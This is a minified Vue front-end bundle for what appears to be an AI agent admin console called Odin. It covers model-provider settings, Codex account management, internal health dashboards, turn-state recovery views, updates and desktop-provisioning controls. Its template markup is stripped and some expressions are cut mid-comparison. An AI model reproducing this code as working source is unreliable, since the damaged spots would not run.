Gn(){hu.value=!0,gu.value="";try{cf.value=await U.get("/api/codex/status")}catch(g){gu.value=g.message||"Failed to fetch Codex status"}finally{hu.value=!1}}let yu=!1;async function pf(){if(r){yu=!0;return}r=!0;const g=h.value.main;try{g.startsWith("compat:")&&_t.value&&await jl(zl(g),Bo(g));try{await U.put("/api/llm/main-model",{model:g})}catch(T){if(!/404|not found/i.test(T.message||""))throw T;await U.post("/api/llm/switch",{model:g})}u("mainModel",g),it("Main model saved"),await Wn()}catch(T){it(T.message||"Failed to save main model","error"),await As()}finally{r=!1,yu?(yu=!1,await pf()):await As()}}async function CC(g){h.value.main_capability=g;const T=z.value;T&&(T.provider==="compat"&&T.capability!=="none"?(He.value.reasoning_effort=g,await Ql()):T.capability==="reasoning"?(C.value.reasoning_effort=g,await Wl()):T.capability==="thinking"&&(await U.put("/api/openai-compatible/config",{thinking_mode:g}),it("Thinking mode saved")))}async function yC(g){h.value.agent_capability=g;const T=ee.value,q=(T==null?void 0:T.capability)||ue.value;if(q!=="none"){if(g===""||g==="auto"||q==="reasoning"||q==="mixed"){if(C.value.agent_reasoning_effort=g,q==="thinking"){const Ee=await U.put("/api/agents/model",{thinking_mode:null});et.value={...et.value,...Ee}}await Wl()}else if(q==="thinking"){const Ee=await U.put("/api/agents/model",{thinking_mode:g});et.value={...et.value,...Ee},it("Agent thinking mode saved")}}}async function xC(){ln.value=!0;try{const g=await U.post("/api/ollama/reload");it(g.configured?"Ollama reloaded":g.reason||"Ollama not configured",g.configured?"success":"error"),await Wn()}catch(g){it(g.message||"Reload failed","error")}finally{ln.value=!1}}async function wC(){bn.value=!0;try{await U.post("/api/ollama/model",{model:Tn.value}),it("Model set to "+Tn.value),await Wn()}catch(g){it(g.message||"Failed","error")}finally{bn.value=!1}}async function _C(){const g=Oe.value.base_url;if(!g){it("Enter a base URL first","error");return}ht.value=!0;try{const T=await U.post("/api/ollama/probe-models",{base_url:g});ks.value=T.models||[],ks.value.length?(it(ks.value.length+" model(s) found"),!Oe.value.model&&ks.value.length&&(Oe.value.model=ks.value[0].name)):it("No models found at "+g,"error")}catch(T){it(T.message||"Could not reach Ollama","error")}finally{ht.value=!1}}async function Kl({refreshModels:g=!0}={}){try{if(Fs.value=await U.get("/api/openai-compatible/status"),da.value=!1,Fs.value.model&&(Vs.value=Fs.value.model),g&&Fs.value.configured)try{const T=await U.get("/api/openai-compatible/models");qs.value=T.models||[]}catch{qs.value=[]}}catch{da.value=!0}}async function EC(){pa.value=!0;try{const g=await U.post("/api/openai-compatible/reload");it(g.configured?"OpenAI-compatible reloaded":g.reason||"OpenAI-compatible not configured",g.configured?"success":"error"),await Wn()}catch(g){it(g.message||"Reload failed","error")}finally{pa.value=!1}}async function kC(){qn.value=!0;try{await U.post("/api/openai-compatible/model",{model:Vs.value}),it("Model set to "+Vs.value),await Wn()}catch(g){it(g.message||"Failed","error")}finally{qn.value=!1}}async function Wl(){var T,q;if(We.value){Xi();return}We.value=!0;const g=ir(C.value);try{if(!await O("codex",g.enabled)){C.value.enabled=((q=(T=p.value)==null?void 0:T.codex)==null?void 0:q.enabled)===!0;return}await U.put("/api/llm/codex/config",g),u("codexBasic",g),it("Codex config saved"),await Promise.all([As({preserveBasic:!0,preserveAdvanced:!0}),Gn()])}catch(Ee){it(Ee.message||"Failed","error");const ze=JSON.stringify(ir(C.value))!==JSON.stringify(g);await Promise.all([As({preserveBasic:ze,preserveAdvanced:!0}),Gn()])}finally{We.value=!1}}async function ff(){if(We.value)return;We.value=!0;const g=lr(C.value);try{await U.put("/api/llm/codex/config",g),u("codexAdvanced",g),JSON.stringify({context_budget_overrides:C.value.context_budget_overrides,context_utilization:C.value.context_utilization})===JSON.stringify({context_budget_overrides:g.context_budget_overrides,context_utilization:g.context_utilization})&&($e.value=!1),it("Codex advanced settings saved"),await Promise.all([As({preserveBasic:!0,preserveAdvanced:!0}),Gn(),bi()])}catch(T){it(T.message||"Failed","error");const q=JSON.stringify(lr(C.value))!==JSON.stringify(g);await Promise.all([As({preserveBasic:!0,preserveAdvanced:q}),Gn(),bi()])}finally{We.value=!1}}async function xu(){var g,T;if(gt.value){el();return}gt.value=!0;try{const q=me.value?Oe.value.api_key:null,Ee=rr(Oe.value,{includeApiKey:q!==null});if(!await O("ollama",Ee.enabled)){Oe.value.enabled=((T=(g=p.value)==null?void 0:g.ollama)==null?void 0:T.enabled)===!0;return}await U.put("/api/llm/ollama/config",Ee),it("Ollama config saved"),q!==null&&Oe.value.api_key===q&&(Oe.value.api_key="",me.value=!1),u("ollamaBasic",rr(Oe.value)),await Promise.all([As({preserveBasic:!0,preserveAdvanced:!0}),Vl()])}catch(q){it(q.message||"Failed","error"),await As({preserveBasic:!0,preserveAdvanced:!0})}finally{gt.value=!1}}async function Bf(){if(!gt.value){gt.value=!0;try{const g=jo(Oe.value);await U.put("/api/llm/ollama/config",g),u("ollamaAdvanced",g),it("Ollama timeout saved"),await Promise.all([As({preserveBasic:!0,preserveAdvanced:!0}),Vl()])}catch(g){it(g.message||"Failed","error")}finally{gt.value=!1}}}async function Ql(){var g,T;if($t.value){yi();return}$t.value=!0;try{const q=Ke.value?He.value.api_key:null,Ee=ar(He.value,{includeApiKey:q!==null});if(!await O("compat",Ee.enabled)){He.value.enabled=((T=(g=p.value)==null?void 0:g.openai_compatible)==null?void 0:T.enabled)===!0;return}await U.put("/api/openai-compatible/config",Ee),it("OpenAI-compatible config saved"),q!==null&&He.value.api_key===q&&(He.value.api_key="",Ke.value=!1),u("compatibleBasic",ar(He.value)),await Promise.all([As({preserveBasic:!0,preserveAdvanced:!0}),Kl()]),await Ht()}catch(q){it(q.message||"Failed","error"),await As({preserveBasic:!0,preserveAdvanced:!0})}finally{$t.value=!1}}async function hf(){if(!$t.value){$t.value=!0;try{const g=$o(He.value);await U.put("/api/openai-compatible/config",g),u("compatibleAdvanced",g),it("OpenAI-compatible endpoint settings saved"),await Promise.all([As({preserveBasic:!0,preserveAdvanced:!0}),Kl()]),await Ht()}catch(g){it(g.message||"Failed","error")}finally{$t.value=!1}}}async function DC(){if(je.value){Ci();return}je.value=!0;try{const g={...ne.value};await U.put("/api/llm/auxiliary/config",g),u("auxiliary",g),it("Auxiliary config saved"),await As()}catch(g){it(g.message||"Failed","error"),await As()}finally{je.value=!1}}const Xi=Jo(Wl),Ci=Jo(DC),el=Jo(xu),yi=Jo(Ql),SC=()=>(Xi.cancel(),Wl()),TC=()=>(el.cancel(),xu()),AC=()=>(yi.cancel(),Ql()),RC=()=>ff(),IC=()=>Bf(),OC=()=>hf();async function LC(g){const T=g.account_key+":"+g.model;Te.value=T;try{const q=await U.post("/api/context/windows/clear",{account_key:g.account_key,model:g.model});it(q.cleared?"Temporary clamp cleared":"Clamp was already inactive"),await bi()}catch(q){it(q.message||"Failed to clear clamp","error"),await bi()}finally{Te.value=null}}async function NC(g){try{await U.post("/api/codex/account/"+g+"/activate"),it("Active account switched"),await Gn()}catch(T){it(T.message||"Failed","error")}}async function FC(g){mu.value=g;try{await U.post("/api/codex/account/"+g+"/refresh"),it("Token refreshed"),await Gn()}catch(T){it(T.message||"Refresh failed","error")}finally{mu.value=null}}function MC(g,T){ho.value=g,vu.value=T||""}async function PC(g){try{await U.put("/api/codex/account/"+g+"/label",{label:vu.value}),it("Label updated"),ho.value=null,await Gn()}catch(T){it(T.message||"Failed","error")}}async function HC(g,T){if(await Es({title:"Delete Codex account",message:`Delete ${T||"account #"+(g+1)}? The pool will reload without it.`,confirmLabel:"Delete",danger:!0}))try{await U.del("/api/codex/account/"+g),it("Deleted. Pool reloaded."),await Gn()}catch(Ee){it(Ee.message||"Failed","error")}}async function GC(){bu.value=!0;try{const g=await U.post("/api/codex/device-code");Cu.value=g,ql.value="pending",UC(g)}catch(g){it(g.message||"Failed","error")}finally{bu.value=!1}}async function UC(g){Zi={cancelled:!1};const T=Zi;try{const q=await U.post("/api/codex/device-poll",{device_auth_id:g.device_auth_id,user_code:g.user_code,interval:g.interval});if(T.cancelled)return;uf.value=q,ql.value="success",await Wn()}catch(q){if(T.cancelled)return;df.value=q.message||"Device login failed",ql.value="error"}}function $C(){Zi&&(Zi.cancelled=!0),ql.value=null,Cu.value=null}function gf(){a||(a=!0,Wn(),n=window.setInterval(bC,s))}function mf(){a&&(a=!1,n!==null&&window.clearInterval(n),n=null)}return dt(gf),hs(gf),as(mf),It(()=>{mf(),Zi&&(Zi.cancelled=!0),Xi.cancel(),Ci.cancel(),el.cancel(),yi.cancel()}),{pageRoot:e,savedProviderEnabled:y,codexOnly:k,codexChoices:te,configuredDisabledSelection:x,configuredDisabledLabel:S,disableWarningRoles:L,effectiveAutoAllowlistCount:yt,allowlistModalOpen:rn,closeAllowlistModal:Ua,allowlistSaving:on,effectiveAllowlist:Qe,allowlistSummary:Vt,resetAgentAllowlist:Kb,selectedUnavailableReason:fa,selectedModelFacts:$a,loading:t,llmStatus:p,llmStatusLoadFailed:B,modelSelection:h,modelSelectorSearch:b,reasoningEfforts:w,neutralReasoningLevels:_,modelCatalog:I,modelGroups:ie,selectedMainModel:z,selectedAgentModel:ee,selectedAgentCapabilityValue:$,agentCapabilityKind:ue,agentCapabilityEfforts:ve,autoAllowlistModels:_e,allowlistModel:Q,allowlistModelEfforts:Y,allowlistEntryCapabilityValue:K,modelOptionLabel:se,agentModelAvailable:R,agentModelOptionLabel:j,advancedOpen:tt,codexForm:C,codexModelOptions:De,codexAgentModelOptions:E,mainEffortAllowed:fe,agentEffortAllowed:be,mainModelOptionDisabled:W,agentModelOptionDisabled:pe,auxForm:ne,auxData:ke,auxModelOptions:we,onAuxModelChange:Le,savingAux:je,saveAuxConfigDebounced:Ci,ollamaForm:Oe,compatibleForm:He,savingCodex:We,savingOllama:gt,savingCompatible:$t,probingOllama:ht,ollamaKeyDirty:me,compatibleKeyDirty:Ke,fetchCodexStatus:Gn,ollamaStatus:zs,ollamaStatusLoadFailed:Sn,ollamaModels:ks,ollamaSelectedModel:Tn,reloading:ln,settingModel:bn,compatibleStatus:Fs,compatibleStatusLoadFailed:da,compatibleModels:qs,visibleCompatibleModels:Gt,compatibleSelectedModel:Vs,reloadingCompatible:pa,settingCompatibleModel:qn,applyCompatiblePreset:$l,setOpenRouterList:D,agentsConfig:et,compatibleAgentModels:Yi,ollamaAgentModels:Z,knownAgentModelRefs:ce,agentModelLabel:Pe,saveAgentsModel:Cn,toggleAgentAutoAllowlist:Ka,saveAllowlistEntryCapability:Wb,autoAllowlistGroups:N,structuralFacts:rf,saveModelHint:aC,canMoveAllowlist:of,moveAgentAutoAllowlist:iC,openRouterCatalogue:Pt,openRouterCatalogueLoading:cn,openRouterCatalogueError:ds,openRouterRecognized:_t,openRouterCatalogueActive:Ws,compatibleCatalogueStatus:cu,compatibleCatalogueStatusClass:uu,openRouterSearch:gi,openRouterVendor:ja,openRouterVendors:uo,openRouterToolsOnly:mi,openRouterEligibleOnly:Ba,openRouterStandardOnly:Ja,openRouterMeasuredCacheOnly:Je,openRouterMaxPromptPrice:F,openRouterQuantization:Be,openRouterQuantizations:du,openRouterResults:fu,openRouterMatchCount:Bu,openRouterInlineFacts:Qi,openRouterSelectedFacts:vi,prepareOpenRouterModel:eC,addOpenRouterModel:tC,removeOpenRouterModel:sC,quickAddOpenRouter:nC,openRouterModelMap:qa,openRouterPin:Bo,openRouterPendingModel:Re,openRouterPendingTag:nt,openRouterPendingEndpoints:at,openRouterPendingLoading:ot,openRouterEndpointSort:es,openRouterSortedPendingEndpoints:Kt,openRouterEndpointCacheFact:Qb,openRouterRate:Yb,openRouterMetric:Zb,openRouterRouteWarning:Xb,cancelOpenRouterPending:fo,codexLoading:hu,codexError:gu,codexData:cf,refreshing:mu,editingLabel:ho,labelValue:vu,contextWindows:lt,contextWindowsLoading:ae,contextWindowsError:Se,contextBudgetRows:le,activeClampRows:Fe,activeContextBudget:Ue,clearingClamp:Te,contextPolicyDirty:$e,deviceState:ql,deviceLoading:bu,deviceInfo:Cu,deviceResult:uf,deviceError:df,fetchAll:Wn,fetchLLMStatus:As,fetchOllamaStatus:Vl,fetchCompatibleStatus:Kl,saveMainModel:pf,saveMainCapability:CC,saveAgentCapability:yC,reloadOllama:xC,setOllamaModel:wC,reloadCompatible:EC,setCompatibleModel:kC,probeOllamaModels:_C,saveCodexConfig:Wl,saveOllamaConfig:xu,saveCompatibleConfig:Ql,saveCodexAdvancedConfig:ff,saveOllamaAdvancedConfig:Bf,saveCompatibleAdvancedConfig:hf,saveCodexConfigDebounced:Xi,saveOllamaConfigDebounced:el,saveCompatibleConfigDebounced:yi,saveCodexConfigNow:SC,saveOllamaConfigNow:TC,saveCompatibleConfigNow:AC,saveCodexAdvancedConfigNow:RC,saveOllamaAdvancedConfigNow:IC,saveCompatibleAdvancedConfigNow:OC,activateAccount:NC,refreshAccount:FC,startEditLabel:MC,saveLabel:PC,deleteAccount:HC,startDeviceLogin:GC,cancelDeviceLogin:$C,formatSize:lC,fetchContextWindows:bi,clearContextClamp:LC,setContextOverride:gC,setContextUtilization:mC,resetContextOverride:vC,overrideAboveFloor:hC,formatCount:rC,formatContextCeiling:oC,formatExpiry:cC,shortAccountKey:pC,provenanceClass:BC,formatDensity:fC,quotaBlocks:r1,quotaFailureVisible:o1,quotaAge:dC,formatQuotaDate:uC}}},Ih={ok:"text-green-400",pass:"text-green-400",degraded:"text-yellow-400",warn:"text-yellow-400",down:"text-red-400",fail:"text-red-400",unconfigured:"text-gray-500",skipped:"text-gray-500"};function B1(t){return Ih[t]||Ih[(t||"").toLowerCase()]||"text-gray-400"}const h1={template:` +
    +
    +
    +
    + + + +
    +
    +

    + {{ failedCount }} of {{ endpoints.length }} internal endpoints failed to load: + {{ failedEndpointSummary }}. +

    +
    + + +
    +

    Startup Diagnostics

    +
    +
    + {{ startup.passed_count || 0 }}/{{ startup.total_checks || 0 }} passed + ({{ startup.duration_ms }}ms) +
    +
    + + + + {{ d.name }} + {{ d.detail || '' }} +
    +
    +

    No diagnostics available

    +
    + + +
    +

    Subsystem Guard

    +
    +
    +
    + + + + {{ s.name }} +
    +
    + {{ s.total_successes || 0 }} ok / {{ s.total_failures || 0 }} fail + — last fail: {{ formatAgeSeconds(s.last_failure_age_seconds) }} +
    +
    +
    +

    No subsystems registered

    +
    + + +
    +

    Connection Pools

    +
    +
    +

    SSH Pool

    +
    +
    Active connections: {{ sshPool.active_connections || 0 }}
    +
    Active hosts: {{ sshPool.active_hosts?.length ? sshPool.active_hosts.join(', ') : 'None' }}
    +
    Opened: {{ sshPool.total_opened || 0 }}
    +
    Reused: {{ sshPool.total_reused || 0 }}
    +
    +

    No SSH pool data

    +
    +
    +

    HTTP Pools

    +
    +
    + {{ provider }} + + +
    +
    +

    No HTTP pool data

    +
    +
    +
    + + +
    +

    Command Governor

    +
    +
    + Blocked: {{ governorStats.blocked || 0 }} + High-risk allowed: {{ governorStats.allowed_high_risk || 0 }} +
    +
    +
    Recent blocks:
    +
    + [{{ b.risk }}] {{ b.reason }} — {{ b.command }} +
    +
    +
    +

    No governor data

    +
    + + +
    + + +
    +

    Risk Classifier

    +
    +
    Total assessed: {{ riskTotal }}
    +
    Critical: {{ riskStats.totals?.critical || 0 }}
    +
    High risk: {{ riskStats.totals?.high || 0 }}
    +
    Medium: {{ riskStats.totals?.medium || 0 }}
    +
    Low: {{ riskStats.totals?.low || 0 }}
    +
    +

    No risk data

    +
    + + +
    +

    Recovery

    +
    +
    Attempts: {{ recoveryStats.totals?.attempts || 0 }}
    +
    Recovered: {{ recoveryStats.totals?.successes || 0 }}
    +
    Failed: {{ recoveryStats.totals?.failures || 0 }}
    +
    +

    Recovery disabled or no data

    +
    + + +
    +

    Context Compression

    +
    +
    Compressions: {{ compressionStats.compressions || 0 }}
    +
    Iterations compressed: {{ compressionStats.iterations_compressed || 0 }}
    +
    Chars saved: {{ (compressionStats.chars_saved || 0).toLocaleString() }}
    +
    Local prefix equality: {{ (compressionStats.prefix_hit_rate * 100).toFixed(0) }}% (not upstream cache hits)
    +
    Prefix stability: Not measured
    +
    Upstream cache hits: Not measured here
    +
    +

    No compression data

    +
    + +
    + + +
    +

    Branch Freshness

    +
    +
    Checks: {{ freshnessStats.total_checks || 0 }}
    +
    Stale detected: {{ freshnessStats.stale_found || 0 }}
    +
    Fetch failures: {{ freshnessStats.fetch_failures || 0 }}
    +
    +

    Freshness checking disabled or no data

    +
    + +
    +
    + `,setup(){const t=f(!0),e=f({}),s=f([]),n=f({}),a=f({}),i=f(null),l=f(null),r=f(null),o=f(null),c=f(null),u=G(()=>{var x;return Object.values(((x=i.value)==null?void 0:x.totals)||{}).reduce((A,S)=>A+Number(S||0),0)}),d=f(""),p=f(0),B=f([]),h=G(()=>B.value.map(x=>`${x.label} (${x.path}${x.reason?`: ${x.reason}`:""})`).join("; ")),b=Object.freeze([{key:"startup",label:"Startup diagnostics",path:"/api/startup/diagnostics"},{key:"subsystems",label:"Subsystem status",path:"/api/subsystems/status"},{key:"sshPool",label:"SSH pool",path:"/api/pools/ssh"},{key:"httpPool",label:"HTTP pool",path:"/api/pools/http"},{key:"riskStats",label:"Risk stats",path:"/api/risk/stats"},{key:"recoveryStats",label:"Recovery stats",path:"/api/recovery/stats"},{key:"compressionStats",label:"Compression stats",path:"/api/compression/stats"},{key:"freshnessStats",label:"Freshness stats",path:"/api/freshness/stats"},{key:"governorStats",label:"Governor stats",path:"/api/governor/stats"}]);let w=null;const _=fi(()=>{t.value=!1});async function C(){var I;const x=_(),A=await Promise.allSettled(b.map(J=>U.get(J.path)));if(!x())return;const S=J=>A[J].status==="fulfilled"?A[J].value:null;e.value=S(0)||{};const L=S(1);s.value=Array.isArray(L)?L:L&&L.subsystems||[],n.value=S(2)||{},a.value=S(3)||{},i.value=S(4),l.value=S(5),r.value=S(6),o.value=S(7),c.value=S(8);const O=A.filter(J=>J.status==="rejected");if(B.value=A.flatMap((J,ie)=>{var te;return J.status==="rejected"?[{...b[ie],reason:((te=J.reason)==null?void 0:te.message)||"request failed"}]:[]}),p.value=B.value.length,O.length===A.length){const J=(I=O[0])==null?void 0:I.reason;d.value=(J==null?void 0:J.message)||"Failed to load internals"}else d.value="";t.value=!1}function v(){t.value=!0,d.value="",C()}let m=!1;function y(){m||(m=!0,C(),w||(w=setInterval(C,3e4)))}function k(){m&&(m=!1,w&&(clearInterval(w),w=null))}return dt(y),hs(y),as(k),It(k),{loading:t,error:d,failedCount:p,failedEndpoints:B,failedEndpointSummary:h,endpoints:b,retry:v,startup:e,subsystems:s,sshPool:n,httpPool:a,riskStats:i,riskTotal:u,recoveryStats:l,compressionStats:r,freshnessStats:o,governorStats:c,statusColor:B1,formatAgeSeconds:lD}}},g1=1e4,Oh=3e4;function or(t,e){return Math.max(0,t-e)}function Wu(t,e){return new Set((t.operations||[]).map(n=>n.state)).has("MANUAL_RESOLUTION_REQUIRED")?0:t.expired_lease||t.status==="ACTIVE"&&(!t.lease_expires_at||t.lease_expires_at +
    +

    Turn State

    +
    + Data stale + +
    +
    +

    + Read-only current recovery posture. Historical interrupted-effect evidence + remains available below as diagnostics, not operator work. +

    + +
    +
    +
    +

    Current posture

    +

    Active work, suspended recovery, expired leases, and effects requiring a human.

    +
    + stale — last success {{ turnsAgeSeconds }}s ago +
    + +
    + Turn durability is not enabled in this deployment. +
    +
    +

    {{ turnsError }}

    + +
    + +
    +
    +
    +
    + +
    +
    +

    Model capacity breakers

    +
    + process lifetime + stale — last success {{ breakersAgeSeconds }}s ago +
    +
    + +
    + Breaker registry is not constructed in this deployment. +
    +
    +

    {{ breakersError }}

    + +
    + +
    +
    +
    +
    +
    + `,setup(){const t=f(null),e=f(""),s=f(null),n=f(!1),a=f(0),i=f(null),l=f(""),r=f(null),o=f(!1),c=f(0),u=f(Date.now());let d=null,p=0,B=0;async function h(){const j=++p;n.value=!0;try{const N=await U.get("/api/turn-state/turns?limit=100");if(j!==p)return;e.value=N.availability,t.value=N.availability==="available"?N.data:null,s.value=null,a.value=Date.now()}catch(N){if(j!==p)return;s.value=N.message||"Turn-state read failed",N.status===503&&(e.value="unavailable")}j===p&&(n.value=!1)}async function b(){const j=++B;o.value=!0;try{const N=await U.get("/api/turn-state/capacity-breakers");if(j!==B)return;l.value=N.availability,i.value=N.availability==="available"?N.data:null,r.value=null,c.value=Date.now()}catch(N){if(j!==B)return;r.value=N.message||"Breaker read failed",N.status===503&&(l.value="unavailable")}j===B&&(o.value=!1)}function w(){h(),b()}const _=G(()=>t.value!==null&&or(u.value,a.value)>Oh),C=G(()=>i.value!==null&&or(u.value,c.value)>Oh),v=G(()=>_.value||C.value),m=G(()=>Math.round(or(u.value,a.value)/1e3)),y=G(()=>Math.round(or(u.value,c.value)/1e3));function k(j){return Wu(j,u.value/1e3)}function x(j){return m1[k(j)]}const A=G(()=>{var z;const j=[...((z=t.value)==null?void 0:z.turns)||[]],N=u.value/1e3;return j.sort((ee,Q)=>Wu(ee,N)-Wu(Q,N)||(Q.last_progress_at||0)-(ee.last_progress_at||0))});function S(j){return j.state==="closed"?"badge-success":j.state==="probing"?"badge-warning":"badge-danger"}function L(j){if(j.state==="closed")return"—";const N=or(u.value,c.value)/1e3,z=Math.max(0,(j.cooldown_remaining_seconds||0)-N);return z>0?`${Math.ceil(z)}s`:j.state==="probing"?"probe in flight":"probe eligible"}function O(j){if(!j)return"";const N=Math.max(0,Math.round(u.value/1e3-j));if(N<90)return`${N}s ago`;const z=Math.round(N/60);return z<90?`${z}m ago`:`${Math.round(z/60)}h ago`}let I=null,J=null,ie=!1;function te(){ie||(ie=!0,w(),I=setInterval(w,g1),d=setInterval(()=>{u.value=Date.now()},1e3),J=wt.onReconnected(w))}function R(){ie&&(ie=!1,I&&(clearInterval(I),I=null),d&&(clearInterval(d),d=null),J&&(J(),J=null))}return dt(te),hs(te),as(R),It(R),{turnsData:t,turnsAvailability:e,turnsError:s,turnsLoading:n,breakersData:i,breakersAvailability:l,breakersError:r,breakersLoading:o,turnsStale:_,breakersStale:C,anyStale:v,turnsAgeSeconds:m,breakersAgeSeconds:y,sortedTurns:A,priorityOf:k,priorityBadge:x,breakerBadge:S,cooldownLabel:L,ageLabel:O,fetchTurns:h,fetchBreakers:b,refreshAll:w,arm:te,disarm:R}}},b1={setup(){const t=f(""),e=f(""),s=f(!1),n=f(""),a=f(!1),i=f(!1),l=f(!1),r=f(null),o=f(!1);async function c(){a.value=!0,r.value=null,o.value=!1;try{const d=await U.get("/api/update/check");t.value=d.current||"",e.value=d.latest||"",s.value=d.update_available||!1,n.value=d.changelog||"",d.error&&(r.value=d.error),o.value=!0}catch(d){r.value=d.message}finally{a.value=!1}}async function u(){if(await Es({title:"Update & restart",message:"Update Odin and restart? Active tasks will be interrupted.",confirmLabel:"Update & Restart",danger:!0})){i.value=!0,r.value=null;try{await U.post("/api/update/apply",{version:"latest"}),l.value=!0,setTimeout(()=>location.reload(),8e3)}catch(p){r.value=p.message}finally{i.value=!1}}}return dt(c),{current:t,latest:e,updateAvailable:s,changelog:n,checking:a,applying:i,applied:l,error:r,checkDone:o,checkUpdate:c,applyUpdate:u}},template:` +
    +
    +

    Updates

    +

    Check for new Odin releases and apply updates.

    +
    + + +
    +
    +
    + Current version +

    {{ current || '...' }}

    +
    + +
    +
    + + +
    +
    + + Update available: {{ latest }} +
    +
    {{ changelog }}
    + +
    + + +
    +
    + + You're running the latest version. +
    +
    + + +
    +
    + + Update applied. Restarting... This page will reload automatically. +
    +
    + + +
    +

    {{ error }}

    +
    +
    + `},Lh=t=>JSON.parse(JSON.stringify(t)),C1=(t,e)=>JSON.stringify(t)===JSON.stringify(e),y1={emits:["saved"],template:` +
    +
    +
    +

    Computer provisioning

    +

    Edit desired target, storage and launcher policy. All settings below require an Odin restart. Startup values remain pinned, even across disable/enable cycles.

    +
    + Restart required +
    +

    Saving does not install dependencies, create storage, grant OS permissions, attach to a desktop or restart Odin. Enable/disable and Stop session are separate lifecycle controls above.

    +

    Hyprland only: best-effort input. A hard guardian SIGKILL can leave input held. Releasing Odin's button can clobber the physical user's simultaneous same-button hold. Use Release owned input for recovery, then obtain a fresh observation. Native explicit-output capture only; there is no portal fallback. The operator must load the ABI-matched scope plugin once at setup. Saving or enabling never loads it or edits hyprland.conf.

    +

    {{ message }}

    + +

    Loading desired configuration and restart metadata…

    +

    {{ pending.length ? 'Saved settings still pending restart: ' + pending.join(', ') : 'No pending provisioning restart reported.' }}

    +

    Some startup values are unknown; absence of a pending flag does not prove those settings are active.

    +
    +
    + Desired computer settings +
    + +

    {{ field.description }}

    + + + + + +
    +
    +
    + + +
    +
    +
    +

    Review provisioning changes

    +
    +
    +
    {{ change.label }}
    +
    Saved: {{ format(original[change.key]) }}
    +
    Desired: {{ format(change.value) }}
    +
    +
    +

    Only these changed provisioning fields will be saved. Running sessions keep startup settings. Nothing is enabled, stopped or restarted.

    +
    + + +
    +
    + +

    Drafts are local to this view and discarded when leaving it. Backend validation remains authoritative.

    +
    `,setup(t,{emit:e}){const s=f([]),n=f({}),a=f({}),i=f(!1),l=f(!1),r=f(!1),o=f(!1),c=f(!1),u=f(""),d=f("");let p=!1,B=0,h=null;const b=(R,j)=>p&&B===R&&U.token===j,w=R=>"computer-provisioning-"+R.key,_=R=>R===null?"Unset":R===""?"Empty":JSON.stringify(R),C=R=>{const j=a.value[R.key];return R.type==="array"?String(j||"").split(/\r?\n/).map(N=>N.trim()).filter(Boolean):["integer","number"].includes(R.type)?j===""||j==null?null:Number(j):j},v=G(()=>s.value.map(R=>({...R,value:C(R)})).filter(R=>!C1(R.value,n.value[R.key]))),m=G(()=>s.value.filter(R=>R.pending_restart).map(R=>R.label)),y=G(()=>s.value.some(R=>R.apply_state==="unknown")),k=G(()=>{const R={};for(const j of s.value){const N=C(j),z=j.constraints||{};["integer","number"].includes(j.type)&&(N===null&&!j.nullable?R[j.key]="A number is required.":N!==null&&(!Number.isFinite(N)||j.type==="integer"&&!Number.isInteger(N)||z.minimum!=null&&Nz.maximum)&&(R[j.key]="Enter a number within the allowed range.")),j.key==="monitor_names"&&(N.length>16||new Set(N).size!==N.length||N.some(ee=>!/^[A-Za-z0-9_.-]{1,64}$/.test(ee)))&&(R[j.key]="Use up to 16 unique monitor names, one per line (letters, digits, dot, underscore or hyphen).")}return R}),x=G(()=>Object.keys(k.value).length>0);function A(R,j){a.value[R.key]=j,d.value=""}function S(){a.value=Object.fromEntries(s.value.map(R=>[R.key,R.type==="array"?n.value[R.key].join(` +`):n.value[R.key]])),o.value=!1}async function L(R,j){const[N,z]=await Promise.all([U.get("/api/config"),U.get("/api/config/meta")]);if(!b(R,j))return!1;const ee=(z.fields||[]).filter(Q=>/^computer\.[^.]+$/.test(Q.path)&&Q.path!=="computer.enabled"&&Q.sensitivity==="public"&&Q.apply_mode==="restart");if(!N.computer||!ee.length)throw new Error("Provisioning metadata is unavailable. Reload before editing.");return s.value=ee.map(Q=>({...Q,key:Q.path.split(".")[1]})),n.value=Object.fromEntries(s.value.map(Q=>[Q.key,Lh(N.computer[Q.key])])),S(),h=j,i.value=!0,c.value=!1,!0}async function O(){if(!p||l.value||r.value)return;const R=++B,j=U.token;l.value=!0,i.value=!1,u.value="",d.value="",o.value=!1;try{await L(R,j)}catch(N){b(R,j)&&(c.value=!0,u.value=N.message||"Could not load provisioning. No changes were sent.")}finally{b(R,j)&&(l.value=!1)}}function I(){i.value&&!l.value&&!r.value&&!c.value&&v.value.length&&!x.value&&(o.value=!0)}async function J(){if(!p||!i.value||!o.value||r.value||l.value||c.value||x.value||!v.value.length)return;if(h!==U.token){te(),ie();return}const R={computer:Object.fromEntries(v.value.map(ee=>[ee.key,Lh(ee.value)]))},j=B,N=U.token;r.value=!0,u.value="",d.value="";let z=!1;try{if(await U.put("/api/config",R),z=!0,!b(j,N))return;await L(j,N)&&(d.value="Provisioning saved and configuration reloaded. Startup settings remain pinned until Odin restarts; no lifecycle action was requested.",e("saved"))}catch(ee){b(j,N)&&(c.value=!0,o.value=!1,u.value=z?"Provisioning was saved, but configuration refresh failed. Reload saved values before editing again.":`Save failed or its outcome is unknown${ee.status===400?": "+ee.message:"."} Reload saved values before editing or retrying. No request was replayed.`)}finally{b(j,N)&&(r.value=!1)}}function ie(){p||(p=!0,O())}function te(){p=!1,B++,i.value=!1,l.value=!1,r.value=!1,o.value=!1,h=null,s.value=[],n.value={},a.value={},u.value="",d.value=""}return dt(ie),hs(ie),as(te),It(te),{fields:s,original:n,draft:a,ready:i,loading:l,saving:r,reviewing:o,uncertain:c,error:u,message:d,pending:m,effectiveUnknown:y,changes:v,validation:k,invalid:x,fieldId:w,format:_,edit:A,discard:S,load:O,openReview:I,save:J}}},x1={components:{ComputerProvisioning:y1,DiscordIdentity:hi},template:` +
    + + +
    +
    +
    {{ adminReady ? 'Current session' : 'Last-known session (not current)' }}
    +
    {{ status.state || 'unknown' }}
    +
    + {{ loading ? 'Checking status' : adminReady ? 'Session status' : 'Status not current' }} +
    +

    {{ checkedAt ? 'Last successful status check: ' + new Date(checkedAt).toISOString() + '. ' : 'No successful status check. ' }}Preserved details are read-only history, not current readiness, consent or session authority. Refresh status independently before further operations. Emergency Pause / Stop only request revocation and remain independently authenticated by the server.

    +
    +
    +
    +
    +

    Administrator lifecycle controls

    +

    Configuration and runtime state are separate. Changes here never restart Odin.

    +
    +
    +
    +
    Configured
    {{ enabledLabel(status.configured_enabled ?? status.enabled) }}
    +
    Runtime lifecycle
    {{ enabledLabel(status.runtime_enabled) }}
    +
    Runtime generation
    {{ status.generation ?? 'Unknown' }}
    +
    Backend platform / environment
    {{ status.backend?.platform || 'Unknown' }} / {{ status.backend?.environment || 'Unknown' }}
    +
    Restart-required settings
    {{ restartSettings }}
    +
